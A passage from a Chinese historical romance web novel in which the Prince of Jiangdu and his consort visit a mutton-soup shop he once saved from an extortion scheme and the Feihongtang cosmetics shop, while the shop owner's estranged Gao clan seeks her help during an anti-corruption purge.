当初百里漾第一次出门走在街上,看见有人沿街解决人有三急的需求后离开,地上就留下一些不可名状之物时,他人都傻了。这不行,绝对不行,他后来就令人重新将郡城整治了一遍,经过几年的发展才成了如今的模样。 老实说,看到如今的江都郡城越变越好,百里漾心里是有那么一点骄傲的。 “如今江都治下百姓皆安居乐业,夫君功不可没。”颜漪在外是称呼百里漾为夫君的。她看着眼前的景象,其实比起湛京来说肯定是差远的,但听着百里漾的回忆再对比眼前,可想而知这些年百里漾是如何的勤政才有今日之景。 “只是如此还不够。”被王妃夸了,百里漾心里美得冒泡,但嘴上还是矜持一下的,他这时看见了不远处的旌旗,又提议道,“前面有家羊汤馆,他家的羊汤味道是整个江都里最地道的,选材用的都是草原颉羊,汤里几乎没有膻味,我们去喝一碗驱驱寒气。” 颜漪自无不可,被百里漾拉着手往前走去。 羊汤馆的铺面不算大,拢共就摆了□□桌,客人却是坐满了,一桌走了马上就有人补上位置。前面人用过的碗筷被一个手脚麻利的男人捡走,随即一名妇人上前用擦布将桌面擦干净,再为客人奉上温水润喉。 这家羊汤馆很明显是一家四口两代人共同经营的,老两口主要负责熬汤备菜,下面一对年轻的夫妻则是招呼客人,店铺里虽然忙碌,但一切都在有条不紊地进行之中。 百里漾一行人来到这间羊汤馆之中颇是显眼,一来是因为他们的样貌,二来则是他们出行的架势有点大,周围的客人难免多看了几眼,但也仅此而已了。 “崔郎君,可是有一段时间没见着了,近来可好?”老妇人眼尖瞧见了百里漾,忙迎上来打招呼,目光转移到他身旁的颜漪身边,看两人姿态亲密心中已有猜测,但嘴上还是问道:“这位娘子是?” “这是我家娘子。” 百里漾笑得有些腼腆。 “难怪这段时间没见到崔郎君您,原来是成婚去了。”落在老妇人眼里就是新婚燕尔、小夫妻俩还害羞。她是过来人了,自然能够明白这种心情。当下恭喜了两人,自己亲自将百里漾与颜漪他们领到座位上,年轻妇人马上端来一壶烧好的姜茶给他们喝驱寒气。 百里漾让他们不必顾着他们,其他客人还等着招呼呢,自己也算是熟门熟路了,有需要会叫人的。他这么说了,老妇人也就应了,离开之前留下一句“有需要就招呼”就去忙活生意去了。 “夫君与店家颇是熟悉啊。”颜漪在旁边静静地看他们交谈,待人走了之后才问道。很显然,百里漾不是第一次来这家羊汤馆了,都与店家夫妻混熟了。 “以前在江都城里转的时候闻到一股很香的羊汤香味,循着味道就过来了。”百里漾说道,“当时肚子正好饿了,闻着味道就拐到一个小巷子里了。那时候这家羊汤馆只是路边支的一个小摊子,若不是鼻子灵些,七拐八拐的我还不一定能够找到呢。” 颜漪笑道:“那这羊汤的味道必定是很美味了,那我待会一定要好好品尝一二。” 其实看这店铺里一直热闹,空气里飘着羊汤的鲜香味勾得人肚子里的馋虫都起来了,味道必定是差不了的,否则这家羊汤馆也不会从一开始的路边摊发展到如今开馆的规模。要知道虽然这地方只是城中繁华区域的边缘,可租金以及地价都不便宜,要盘下这一个馆子开店也是要花不少钱的。 老妇人的儿子很快就为百里漾等人端来了羊汤还有佐食,一一为他们摆好,笑得憨厚,“贵客请慢用,有需要再吩咐。” 颜漪看着老妇儿子离开的背影。他走的其实是有些慢的,不仔细看是看不出什么的,但定睛下来看就会发现他腿脚不是很灵便,有点跛,像是曾经受过重伤后来哪怕救治也留下了跛足的毛病。 百里漾看见颜漪注视的目光,不由问道:“怎么了?”- 作者有话说:更新了,打滚求评论。 第118章 初至飞红堂 “没什么, 只是觉得店家一家待夫君尤为热情。”颜漪坦诚道。 开门做生意待客热情再正常不过了,但这店主一家待百里漾可不仅仅是热情,颜漪从他们眼里看到了类似感激的东西, 想来是百里漾曾经帮过他们什么,这个忙帮的很大,甚至可能是救命之恩。 “你说这个呀。”百里漾说道,“两年前他们家遇到了一桩不平事,我帮了点忙, 其实也不算是帮忙。” 羊汤馆的店主一家姓邹, 他们家在郡城里卖了二十几年的羊肉汤, 一直以来口碑都挺好,老妇人也被人称为邹婆子。他家的羊肉汤味道鲜美, 据说是靠手里一张从上一辈传下来的方子熬制的,靠着这张方子, 邹家从小县城搬到了郡城之中安家落户。那时候百里漾混成了摊子上的常客,又听邹婆子提过有将来准备在郡城之中租买店铺的打算, 他当时还由衷地恭喜道贺, 说是若是开了新店自己会奉上一份贺仪。 之后有一段时间百里漾不曾出王宫, 自然也就没有关注后续的事情了。等忙完那一阵,百里漾再次出王宫想要去喝一碗羊肉汤时却发现摊子没摆摊,挂出了暂停营业的牌子告知。 百里漾一开始不以为意,可能是邹婆子家中有什么事情要处理。可后面去的两次都是如此,不由纳罕,他记得上次邹婆子还满怀喜悦地告诉他之后要多出摊赚钱开店铺还要攒钱给儿子娶媳妇,跟周围人打听得到的消息是邹婆子家已经很久没有开摊了。 百里漾那时觉得不太对劲,留心了一下,后来叫人去打听了一番才知道邹婆子家是真的出事了, 惹上了大麻烦。 归根到底还是羊肉汤方子的事情。邹婆子家的生意做得红火,惹了一些人眼红,更有人觊觎他们家的方子。有不少人曾经出过高价要买邹婆子家的方子,但通通都被拒绝了。其实可以理解,这方子是邹家人几代人的立身之本,怎么可能会愿意卖出去,只图一时的钱财和快活。可总有人不死心。既然正常的交易走不通,那就来阴的。 那些人选择的切入点在邹婆子的独子邹大郎身上。邹大郎为人木讷老实,平时就在摊子上帮忙。邹婆子夫妻就他一个孩子,眼看着快要到二十岁了,该找媳妇了,那段时间邹家人就在相看物色之中。 一日,正在摊子上忙活的邹婆子夫妻被人传信,说是邹大郎勾搭有夫之妇被人捉奸在床了,当场打了个半死。邹婆子一听哪里还坐得住,当即过去看看情况。对方是附近出了名不讲理的浑人,直接就让邹家赔钱,不给就扭送衙门。 出了这种事,围观的人不少。郡城虽然很大,但这个区域的人多少都是认识的。有些人不相信邹大郎会做这种事情,猜测多半是设了局,可邹大郎现在被堵在人家媳妇的床上,有眼睛的人都看着,这事就是有十张嘴都说不清楚。邹婆子不相信自己儿子会干这种事情,对方又狮子大开口要赔钱,否则就送衙门,这摆明了就是仙人跳。 眼见谈不拢,那家人都没有多纠缠当即就把邹大郎扭送去了衙门。邹婆子还想着即便儿子进了衙门也不怕,衙门回头总能查清楚事情真相的。没做过就是没做过。 可是万万没想到,邹大郎进了衙门,里面的官差不问三七二十一就先打了邹大郎一顿板子,下手极狠,直将人打得血肉模糊,之后也不管邹婆子一家如何辩解喊冤,只认定了邹大郎与人勾搭成奸的事实,要按律治罪,说是要流放充军。 这始料未及的发展快得就像龙卷风,让邹家如同被一根大棒迎面直接打懵了。老夫妻俩睁眼闭眼都是儿子被打得血肉模糊的凄惨模样,衙门还说若是不认罪,之后还得上刑。偷奸之人,打死都不为过。邹家夫妻哪里舍得儿子受罪,可是认了之后就是有罪,这污名钉在身上一辈子就洗不掉了。可是不认,儿子真的有可能会被打死。 正当邹家夫妻不知道如何是好的时候,有人给夫妻俩出主意。这事其实也好解决,向来是民不举官不究的,只要他们愿意补偿那小媳妇一家,让那家主动撤案,这事也就了了。 还催促邹婆子夫妻俩,时间紧急,这事若是不抓紧点邹大郎在牢里怕是挨不住。为了儿子能活命,邹婆子夫妻只能咬牙认了,去找那小媳妇的夫家商量,去之前就料想过对方会狮子大开口,但去了才知道他们根本就是讹人,喊出了一个邹家夫妻绝难以接受的价格,将那赔偿的数额他们这些年攒下的银钱全部赔进去都不够。而偏偏这时候之前曾经屡次出价要买邹家方子的人又出现了,开出的价钱甚至比以往少了三成。这不是趁火打劫这是什么! 可事情真就这么巧么? 百里漾一想起事情的始末无比来气,但面对着颜漪,他把火气压下去,说道:“这事其实就是针对邹家做的一个局。他们不肯卖方子,那就逼着他们卖。对于邹婆子夫妻而言,儿子的命和方子相比,自然是儿子的命重要。” “狮子大开口的那家人也必定是幕后之人找来的,他们相互勾结,借着这局彼此获益。幕后之人与衙门之人也有勾结,否则这局也不会成。”颜漪亦说道,“幸亏夫君知晓此事后及时制止了那些人的恶行,还了他们一个公道。” “只是终究还是晚了些,邹大郎受这无妄之灾虽说后来请了大夫医治,可脚上却因为过于伤重而留下了跛足之疾。”百里漾叹道。 “看他们如今的生活过得安乐怡然,夫君确实是做了一件好事不是么?”颜漪笑指着不远处虽然忙活但面上带笑的邹大郎夫妻俩说道。 邹大郎在苦难之后娶到了能与他相互扶持的妻子,邹婆子一家也如同原先的期望一样在郡城之中买下了一家铺面开羊汤馆。苦难已经过去,他们在向前看。如若没有百里漾出手彻底覆灭了那群人的阴谋诡计,惩治了目无法纪的贪官污吏,邹家如今怎会有如此光景。 “娘子说的是。”百里漾很快笑道,“虽然美中不足,但我和你、还有周围的人都还能喝到这味道鲜美的羊肉汤就还是一件值得欣慰的事情。” “那做局诬告的那家人,夫君是如何处置的?”颜漪喝了一口鲜汤后,又问道。 “嗯?”百里漾想了一下,冷哼道,“按律,诬告者,坐同罪。这事的主谋是那家的丈夫,他一赌徒,那眼红邹家方子之人许以重利还有什么不敢干的。打了他一顿板子,罚十年苦役。他那媳妇也是可怜,那厮好赌不说,赌输了就喝酒回家打媳妇,那事也是他强迫他媳妇做的。我使法子让她和离归家了。” 那件事情之中,邹家可怜,那小媳妇也可怜。日子已经过得如此艰难了,还被迫行此污糟之事,还被当众“捉奸”,脸面名声都被毁了。这事情若真是做成了,邹家倒大霉,那小媳妇日后估计也没法活了。 百里漾那时对背后设局之人以及那废物丈夫实在是深恨之,可收拾了他们之后也要考虑那可怜的妇人今后该何去何从。这事对于如今的他来说也不难,令两人和离,妇人归家后换一个没有多少人认识的地方重新开始生活。 这时代,车马慢,书信远。许多事情传播的范围有限,即便真能传过去也需要时间。而人偏偏是健忘的,生活在向前,人们的注意力往往关注那些正在发生或者即将发生的事情,久而久之,这事也总会过去。 对于那妇人而言,换一个地方生活,抛弃不如意的过往,日子总能翻开新的一页。 颜漪美眸定定看着百里漾,说道:“大王真是一个有心之人。” 换作旁人估计都不会有多少人会想到那妇人,更不会想着那妇人经此事之后该当如何过活,偏偏百里漾想到了,还为之谋划了一条出路。 这样的百里漾实在是特别,他总是在不经意间让人忍不住将更多的目光投注于他。颜漪想,这样的百里漾其实是很能够打动人心的,怎么在江都就没有什么爱慕者呢? 百里漾不知道颜漪心中所想,他美美地喝完了一碗鲜羊肉汤,在等待颜漪喝完之后,将银钱放在桌面上后便离开了这家馆子。 颜漪这趟出来的目的之一是给飞红堂的东家高大娘子补送开业贺礼,百里漾还记着这事,他也想看看那位高大娘子是何方人物,竟然能让王妃送出自己亲所作的画而不是送给他。 飞红堂门前颇为热闹,不仅有进出往来挑选购买商品的客人,还时不时有马车过来,不过多是青蓬马车,上面下来的是为家中女主人拿订购胭脂水粉或是饰物的丫鬟、女管事,少有主人家自己亲自前来的。 百里漾与颜漪携手过来,远远地就看见飞红堂门前的热闹景象,不由叹道:“这才一两月的时间,这里竟开张了一家如此大的店铺,客源还如此之多。” 开一家店不是问题,只要有钱建成什么样的都不是问题。可开店是为了做生意,重要的是客源,要让人愿意购买自己的商品货物,手上的货物只有销出去,先前投入的钱财才能够重新增加流回到手上,然后继续下一次的循环。 按照之前颜漪同他说过的高大娘子近来的处境,短时间内能够将飞红堂发展成如今的规模,都要直逼湛京里的那些有名的首饰铺子了。这位高大娘子还真是一个了不得的商业奇才啊,怪不得能入王妃的眼。 百里漾忽然之间没那么酸了。这位高大娘子显然是要投到王妃门下的,她越有本事于王妃的益处就越大,那他高兴还来不及。这画的确得送,亲手所作之画更能体现心意以及对对方的看重。 能在飞红堂做事的人都是很有眼色的,在门口迎接客人的店员老远就看到两个铁定非富即贵的年轻夫妻朝飞红堂过来,他一面叫人去请吴掌柜,一面领着人快步上前相迎。待近前看到这位年轻夫人的样貌时,神情不由一振,态度更加恭谨客气了。 百里漾没有错过他的神色变化,猜想他是认出颜漪来了。 进了飞红堂之后,百里漾想陪着颜漪好好逛逛,身后跟太多人就不太合适了,不然他们这阵仗也是委实壮观了些,到时客人看的不是水粉饰物而是他们了,所以最后只叫了初禾几个跟着。 吴掌柜闻讯很快就赶来了,他完全是将手头上的所有事务都扔下赶过来的。传信的店员只知道颜漪是顶顶尊贵的客人,他可是知道对方的真实身份的。如今眼见着这位江都王妃身边还跟着一名丰神俊朗、气宇轩昂的年轻郎君,两人举止亲密,岂能猜不到身份。 今日竟是江都王夫妇一道亲临。 一瞬间吴掌柜心脏狂跳,差点都要从嗓子眼里挤出来了。他狠掐自己的手掌心让自己冷静下来,一面招待百里漾与颜漪二人,一面令人速速去将东家高大娘子请来。 面前的这两位已经不是他这个身份能够招待得了的,只有将东家请来才行。 无需百里漾与颜漪发问询问高大娘子的去处,吴掌柜就告罪道:“不知二人尊驾临门,诚惶诚恐,唯恐招待不周。小人已令人速去寻回东家拜见二人,代为请罪,敢请见谅。若是二位贵客不嫌弃,请先由小人为二位介绍。” 百里漾笑道:“好,我听娘子说江都城中新开一家飞红堂,款式新颖独特,品质皆为上乘,特来瞧瞧,也想为我家娘子挑选一些合心意之物。掌柜是此中行家,有劳为我介绍推荐一二。” 听着意思,敢情王妃出来送贺礼没有提前通知人家。不过没有关系,他们这次出来本就是为了到处逛逛的,飞红堂这么大,到处看看也好。 百里漾是真的兴致勃勃要逛店。这飞红堂就相当于他前世化妆品店与饰品店的结合,这几乎是每一个女孩子逛街必去的地方之一。虽然他这辈子是用不了这些东西了,但他可以给王妃买啊。他若是能将王妃打扮得美美,也算是一种满足了。 他们一路从一楼逛上二楼,吴掌柜一直跟在他们身边介绍、讲解,但他并不是什么都要跳出来为二人说明的。飞红堂主营胭脂水粉与饰物,走的是高端上乘路线,每件商品都要力求精制与精良,短时间内就在江都郡城中打开了市场。 一般的客人进门,无论是谁,飞红堂都安排有店员随行服务,介绍讲解商品。可眼前的这两人是什么身份,皆是从湛京来的,多好的东西都见过,任何东西他都要上去说一嘴就显得多余了,所以他要拿捏一个度,察言观色很重要。 “这些胭脂水粉都是用什么制成的?”百里漾手里拿着一盒脂膏,问道。 飞红堂的饰物他大致看过了,用料都是极好的,同等条件下,这方面要做得出彩就只能赢在工艺上,这一点飞红堂也做得很好,有些比之宫廷御造都不差了,其中也不乏构思精巧,可见制造的匠人也不乏奇思妙想的。 此外,飞红堂还有的便是这胭脂水粉。 美,一个永恒的话题。人类在追求美地道路上永不停歇。所谓爱美之心人皆有之,古来皆如此。既追求美,那就少不了变美的道具,其中便有胭脂水粉。时下女子多以胭脂水粉覆面装扮,修容提貌,在高门贵族之中更是成为一种风尚。女子出门、会客之前都会细细打扮一番,既是为了不失礼,亦是为了悦人悦己。 不过,百里漾所知道的,这时代的许多胭脂水粉有许多是含铅的,用在脸上是直接与肌肤接触的,于人体多少是有危害的。他看过颜漪上妆,后来想起这一茬,忙去查了,好在用料皆为天然之物,没有什么不妥。 眼下就是不知飞红堂售卖的胭脂水粉所用制料是什么。 “民女高氏,拜见郎君、夫人。”吴掌柜正想开口回答,却见东家已赶来拜见,于是便闭口退后,将位置让出来。 百里漾闻声看向匆匆赶至的高大娘子。 眼前的女子梳着全髻,青衣点红妆,整体给人以素雅干练之感。百里漾是第一次见到这位高大娘子,初见印象就不错,更因为颜漪的关系这份好感又多了几分。他和颜悦色道:“这位便是高东家了。在下崔五,今日前来想为娘子购置一些胭脂水粉,只是对飞红堂不怎么了解,有劳高东家为某推荐一二。” 母家姓崔,自己在家中行五,百里漾到外面都是自称崔五的,也没毛病。 他的态度实在客气,也不摆架子,若不是知道他的身份,外人也只当他是一个携娘子出游的郎君而已。可高大娘子与吴掌柜知道他的身份,更知道最近江都权贵阶层之中发生的动荡就是由眼前的这位主掀起的,即便不会因此恐惧,但心中是打着十二万分的小心谨慎的。 “崔郎君与夫人不嫌弃,民女愿意效劳。”高大娘子施礼后说道。她回答了之前百里漾问出的问题,将飞红堂售卖的胭脂水粉是采用什么原料、如何制成、经过几道工序都一一做了说明,甚至看百里漾表露出了兴趣,一些地方还做了详细说明。 百里漾听她说用的都是纯天然植物用料,并没有他想的那些乱七八糟的东西。他随手取了一盒胭脂,用手指抠了一点放在手背上以指腹抹开,颜色是粉色的薄红,晕开很自然。他笑道:“高东家有本事,这飞红堂日后怕是还能走的更远。” “贵客吉言,飞红堂不胜荣幸。”高大娘子知晓这话的分量,心中一振之后再次郑重拜谢- 作者有话说:依旧打滚求评论。 第119章 高家的挣扎 百里漾是特意这么说的。王妃既将人收入门下, 那自然也给予一定的庇护。这位高东家虽然出身高氏,但如今的处境高氏不仅不能作为她的后盾屏障,相反看着飞红堂如今的势头很有可能再来咬一口。这身体里流着相同的血的亲人都有可能觊觎这份产业甚至来谋多, 其余眼热之人自然不会愿意放过这一块大肥肉了。 飞红堂需要庇护,背后的东家高大娘子也需要庇护,如今投在王妃门下,那就是自己人了,自己人当然要护着了。 之后百里漾借口说要四处逛逛, 将空间留给了颜漪与高大娘子。他还记着颜漪这次出来要给高大娘子补送开业贺礼的事情。于公而言, 高大娘子是投入了王妃的门下, 不是他的;于私而言,这可以算是小姐妹之间的私交, 他就不好掺和了。 高大娘子将颜漪请入静室之中,奉上好茶, 告罪道:“不知大王与王妃驾临,未能远迎, 怠慢之处, 请王妃恕罪。” “本就是我们不请自来, 谈何怠慢。”颜漪轻呷一口茶,一面令从初禾将贺礼递出,“此前你开业未有相贺,今日补上,勿要嫌弃。” 初禾上前,将锦盒打开,露出里面装裱好的画轴。 高大娘子惊喜,她是有见识的人,心思也细密, 只看画轴稍稍一想就猜出这画是颜漪的亲笔。这是什么分量,比直接送她一副名画还要贵重。她当下要起身行礼拜谢,却被颜漪抬手阻止,只见颜漪含笑道:“只是我的一份心意,无需多礼。” 高大娘子展开画轴,看见了其上的寒梅傲雪,再次谢道:“我很喜欢,谢王妃相赠。” 她这次的道谢比起之前更多了真心诚意,之前也感激,那是因为颜漪送礼代表的意义,现在则是因为画中的意境与含义。王妃能将自己亲手所作之画赠予她,自是看重她的体现,看重她的能力,看中她未来的潜力。再加上这画的内容,除了看重,更有一层欣赏,王妃是在欣赏于她,也等同于是对她之前所做的事情表示认可与赞赏。 这如何能不令人激动感念。 颜漪则道:“我自湛京来江都,左右无多相识相交之人,如今结识于你,我亦欢喜。” 高大娘子固然于商道能力出众,假以时日必能挣出一份不输于其先父的家业,甚至青出于蓝也尤为不可。颜漪接受她的投诚当然因为她本身具有价值的原因,这固然是其中一部分,但身为江都王妃,在这江都等同于是一人之下万人之上的人物,颜漪不缺钱,也不缺给她送钱的人。今时今日的高大娘子也只是一个刚起步不久的商人罢了,论财力论产业,她在江都还不够看。可颜漪就是看中了她,还给予了她许多的恩遇。 这其中更重要的是颜漪欣赏高大娘子的性格做派,她此前做的那些事情,换作别的同样出身的江都贵女恐怕是做不出来的。因为她做了,在颜漪这里便足够特殊,值得选中了。 百里漾与颜漪携手而来,又携手离开。当然了,他也不是白逛飞红堂的,看到有什么喜欢的或是适合王妃的便买了下来,后面便装打扮的侍卫手里拎着的东西就是收获,也算是支持一下飞红堂的业绩了。 “画送出去了?”明明知道肯定是送出去了,百里漾还是要多此一问。 “本就是来送礼的,岂有不送之理。”颜漪起初不以为意,随口答道。 “真送出去了啊。”语气有点酸还有点别扭,百里漾幽幽道,“你都还没送过给我呢。” 酸,真是酸,也不知道是谁家的醋坛子打翻了。 初禾等人隔了一段距离缀在两人后面,别人还好说,初禾离得近些,闻到这股醋味实在没忍住想笑,但她为保大王的颜面,坚强的忍住了,压住了上翘的嘴角,眼里的笑意却怎么都消不下去。 大王怎么这么小心眼啊,到现在还记着画的事。 颜漪这会儿也听着百里漾的语气不对了,她也想笑,可笑出来百里漾一定会“恼羞成怒”的。于是,她稳住了面上的表情,安抚这个小心眼的大孩子,“已许出去的东西总不好毁诺,只能怪大王自己来晚了。可大王既喜欢,来日我再补赠一幅给大王,可好?” “好,自然好的。”百里漾等的就是这个,岂有不应之理,当下连忙点头。 “只是此画将来是要赠予大王的,妾不敢轻乎,怕是需要大王等上一段时间了。” 百里漾刚想说不必求精,但转念一想,作画是高雅之事,画作之中倾注作画者的心力,精益求精亦是作画者所追求的,画的不好还有自己撕画的,只求作出满意的好画。他对此道不是很懂,但应该尊重,便道:“你慢慢画,我不着急的。画好了给我便是。” 这么一想,有了一个盼头,百里漾心里乐滋滋的。 眼看金乌西坠,今日的游玩还算顺利得趣,一群人便往王宫回去。 另一头,将两尊大佛送走之后,高大娘子与吴掌柜入静室,两人说话。吴掌柜猛饮了一口茶,几口大气呼出之后,方才一直提着的心才渐渐落回原位。 高大娘子见状说道:“辛苦吴叔了。” “哪里算得辛苦,为飞红堂、为东家做事分忧是我应尽之责。”吴掌柜现在回想起来还有种不真实的感觉,但他知道那是真的,如今满心只剩下了欢喜,“此后有那二位做主,东家今后在江都便再无人敢为难了。” 行商不是易事,上下都要打点,背后若是没有靠山更是被动,但凡某个关卡有谁不如意了,都不用做什么大的动作就能将他们卡死,进而损失一大笔。这种次数来多了,亏都能亏死。如今这时候,做生意背后没有人,最后基本只有倾家荡产的下场。 可东家已与高家离心,如今所做之事也是与高家切割,是存了自立门户之心的,高家已经不可能成为东家的后盾。这段时日眼见飞红堂生意红火,高家有人动了心思,见东家不为所动,暗地里已使过几回绊子了。高家尚且如此,其他家又岂会心慈手软。 飞红堂若是在短时间内找不到有力的靠山,被蚕食吞噬是注定的结局。吴掌柜一开始就知道东家的筹谋,如今江都王夫妇都亲至了,那绝对是稳了。今后飞红堂将不惧怕任何人来找麻烦,东家此后也能彻底摆脱高家。 这如何能不令人激动振奋。 高大娘子:“今后飞红堂上下要收紧规矩,决不允许任何人借着飞红堂的名义妄为生事。这一点,有劳吴叔辛苦些盯着了。” 吴掌柜看她面上一派肃色,很快就想明白了这么做的缘由,当即应了下来并保证道:“东家放心,我必定不会让人坏了飞红堂的名声。” 所有上位者都不希望下面人惹出麻烦败坏自己的名声,尤其是江都王夫妇这样的人,只会更爱惜自己的羽毛。 “快要冬至了,大家近段时间也辛苦了,该发的节礼也要发下去。” 该严的地方要严,该奖励的也要奖励,不能寒了用心办事之人的心。 吴掌柜道:“已经在准备着了,东家请放心。” “这回可以过一个好年了。”高大娘子望着窗外熙攘的街道,冬日的阳光暖融,洒在每一个行人的身上,看着是如此美好。 冬至之前的这段时间对于高大娘子以及飞红堂来说很美好,虽然忙碌但一切都有奔头。可对于江都的权贵官员们可实在是太难熬了。有些人家熬得过去,有些则熬不过去,还有一些则是将会迎来一段更为漫长的煎熬。 因为上面要清查贪墨,各家都有牵连进去的人,这段时间几乎没什么记得冬至这个一年之中的重要节日,也没有了往年的节日气氛。大家都在忙着找关系、找门路捞人,急得如同热锅上的蚂蚁。 高家也在其中,但就如同其他家一样,高家的捞人之路也不顺畅,可以说是没有路子走得通。焦头烂额之际,他们突然得到消息,那个实质上等同于被逐出高家的长房之女竟然搭上了江都王妃门路,这可是多少人都求之不得的,竟然让她给做到。 高家一瞬间就看到了高大娘子这位长房之女的价值,那他们就要利用起来。有什么比直达天听更为有效迅速?他们看到了希望,愿意摒弃前嫌前来找高大娘子为家族出力。 但事实证明,自大与自恋是要不得的,尤其是自己还有求于人的时候。今时不同往日了,可高家还是认不清自己的处境。 “高家怎么就出了你这么一个丧良心、不孝不悌、刻薄寡恩的女儿,当初就该任你自生自灭,岂有今日的趾高气昂。”高大娘子置办的宅院之中,一名三十多岁的中年男子气冲冲地跨过门槛,满脸气得通红,步伐之快让后面代主送客的管家都快追不上了。 这中年男子是宅院主人高大娘子的四叔,今日来此是想请侄女高大娘子出面向贵人求情的。哪知道他来了之后被下人请进去,奉茶、伺候点心,茶都快喝完了,侄女才姗姗来迟,多少都有怠慢长辈的嫌疑。但他此番前来有求于人,不好摆长辈的架子,又心中急迫,说了几句问候的话后便直奔主题了。 谁知道,无论他怎么婉言请求,这侄女始终冷淡着一张脸,言辞淡淡,不说答应帮忙出面向贵人求情,连周旋一二也半点不愿意。到最后他连嘴巴都说干了,这侄女依旧不为所动。 他倒是看出来了,这侄女就是一个冷心冷肺、记仇寡恩的,无论如何都说不动,气得他直接起身就走。可他越想越气,走出门外,实在气不过,这才有站在大门外怒骂侄女高大娘子这一幕。 代主送客的管家心里白眼都快飞上天了,但面上还是端着叫人挑不出错来的客气微笑,无论这位高家四爷怎么说怎么骂,他也不搭话,只客客气气地将人送走。但管家内心也是无语,当着面不敢骂,出了门才骂被骂的人能听得见么? 自然是听不见的。好在这处宅院周围僻静,没什么人,高家四爷在这里怎么骂都不会有人听了去,否则作为管家,他怎么可能任由外人在这里败坏主家的名声。但管家事后去向主家禀复的时候还得将高家四爷的辱骂之语一字不漏地报给主家。 高大娘子听到后沉默了会儿,说道:“不用去管他们。”随后又补了一句,“若是他们做的太过火,直接报到衙门说有人滋事便是。” 她说的是“他们”,显然是最近不止高家四爷一个人来登过门了,而今日之后,高家也还会有别人来登门。他们如今是走投无路了,思来想去发现还有她这么一根救命稻草,没有那么容易放弃的,毕竟,他们家里很快就要死人了。 如果不想死人,高家目前能用上的办法只能是来求她。可他们来求她,她就一定要答应么?且不说她没有能力办得到,即便办得到,她就一定要帮他们么。她可没有忘记当初阿爹死后,高家那些所谓的血缘至亲是如何侵夺大房的财产的,又是如何打着为她好的名义将她嫁去了齐家,之前又是如何百般阻挠她与齐家和离的。 高大娘子想的很明白,高家既不视她为亲人,她又何须顾念他们。她与高家之间的那点血脉亲情早在大房财产被拿走、她与齐家和离之事之中耗尽了。 况且这高家若不是出了事,他们会想得到她么?平日里不闻不问,还对外放话说高家没有她这个女儿,却在出事的时候想起她来,想着着让她出手相助,未免把事情想的太美了。他们想着给自己一点好脸色,自己就会万分感激、赴汤蹈火地替他们办事情办了。高家的那些人,还真是一点都没有变过啊。 “小女郎可好?”高大娘子不去想高家那些人,转头问起了自己的女儿。女儿年幼,先前感染风寒又病了一场,她不放心总要陪在身旁。但今日高家来人,她不想女儿受到影响,提前叫人带女儿去远一些的地方玩耍了。 身旁的仆妇答道:“小女郎正在书房习字,并没有被吵到。”其实说是习字,但三岁左右的女童能认得多少字,笔都不怎么会用多少,说是写不如说是画。 高大娘子神情柔和,“那边不要打扰她,记着定点让她喝些温水,屋里烧着炭,久了容易口干。” “是。”仆妇应下了,“她们会记着的。” 高大娘子微微颔首,低头拿起手边的账簿继续看起来。没过多久,本在飞红堂打理事务的吴大掌柜上门来求见。她让人将其请进来,自己到花厅去见他。 “东家,方才可是高家来过了,他们可有为难?” 吴大掌柜一看尽是急忙敢过来的,大冬天的脸红成一片,还不断有热汗冒出来,他听到高家人过来的消息就赶紧过来了。想也知道,以高家人的德性,突然过来是为了什么。他担心高家人为难东家,又怕东家真的答应他们所请,担忧之下便过来了。 “吴叔放心,他们还做不了什么。”高大娘子说道,一面让人将热毛巾递给吴大掌柜擦汗、奉茶。 吴大掌柜听东家这么说,心中一定,用热毛巾擦了汗,喝了一大口茶缓了缓嗓子眼里的干痒,由衷说道:“东家心中有成算,那我心里便放心了。” 冬至之前的这段日子,因此大王清查贪污乱纪之事,江都郡城内可算是满城风雨。这次的手段可谓是雷霆铁腕,一经查出必处置,谁来求情都没有用。江都的权贵世族因此遭受了极大的震荡,各家都有因此而折进去的人,丢官去职还是轻的,重的则要杀头,无论是斩立决还是秋后问斩,无非就是死的早和死的晚一些的区别。 高家作为江都本地的大族之一,虽然如今家族之中入仕做官的人少了些,可也还是有的,不管官大官小,加起来也有十多号人。因为人数少的问题,相对于其他家折进去的人没那么多,可还是有几人折了进去,罪责有大有小,最严重要数高家三爷,也就是高大娘子的三叔高三爷。 高家如今还在当家的高太爷能生,拢共生了五个儿子三个女儿,除了长子几年前因病逝世,其余的子女还都好好活着。子女多,高太爷又不是那种一碗水能端平的,自然也就有了喜爱的和不喜爱的,在几个儿子之中,他最喜爱的就是三儿子高三爷。 这其实很违背世间人大多疼小儿子的常态,高三爷处在最中间的位置,非长非幼,他能最受疼爱自然是有特别的原因的——他是如今的高家二代之中最有出息的子嗣。而这所谓的“最有出息”指的是他的仕途最顺,很会往上爬,高太爷觉得他是那个能够光复门楣、带领高家重新兴盛的人。 高家这些年一直在走下坡路,家族后继无人,眼看着没几个人能够挑起大梁的,高太爷实在是着急啊。后来他发现三儿子就是那个希望,喜不自胜,开始大力培养起这个儿子,在高三爷身上倾注了大量的资源,把高三爷拱到了如今的高位上。眼看着高家即将重获荣光,在这个关头,高三爷被查了,他犯的事很重,直接被判了秋后处斩,也就是明年再死。而高家其余被下狱之人也大多是唯高三爷马首是瞻的,自然也没能逃过。 无论是高太爷还是高家都接受不了这个结果,这段时间他们想尽了办法捞人,钱搭进去了不老少,但效果那是一点也没有。一群人围在一起合计,盯上了之前因为坚决与齐家和离而与高家翻脸的高大娘子了- 作者有话说:这周榜单结束了。 第120章 风波之后 说实话, 高家是不喜且看不上这个离经叛道、不服管教的女儿的。当初高大娘子坚持和离,高家放话“高家没有和离的女儿”,等同于是向外界宣告高家不会再管这个女儿了。 本以为没有了家族庇护的高大娘子之后日子会越过越难, 迟早会向高家服软,痛哭流涕认错请求重新被接纳回高家,万万没想到高大娘子开了一间飞红堂之后,不仅把生意做得极为火热,不知怎么的竟攀上了都尉崔栋之妻卢氏, 甚至通过卢氏还攀上了江都王妃。 这么来看, 这个离经叛道的女儿也并非没有可取之处。这次的事情她正好可以派上用场, 为高家出一份力。若是办好了,事后他们也不是不能重新接纳这个女儿回来。 是的, 求人还要摆高姿态。仿佛他们不是来求人的,而是来施舍的。 这就是高家。 他们明明是有求于人的人, 但仅仅是因为对象是自己的侄女、自己的晚辈,还是那种被谋夺了父亲留下来的财产、扫地出门的小辈, 他们高高昂起的头颅不曾低下一点, 摆足了长辈的架子, 却自以为已经足够低三下四,怎容得小辈说半个“不”字。 但高大娘子偏偏就不惯着他们,没有应下所求之事,他们拉不下来脸,自然会恼羞成怒。 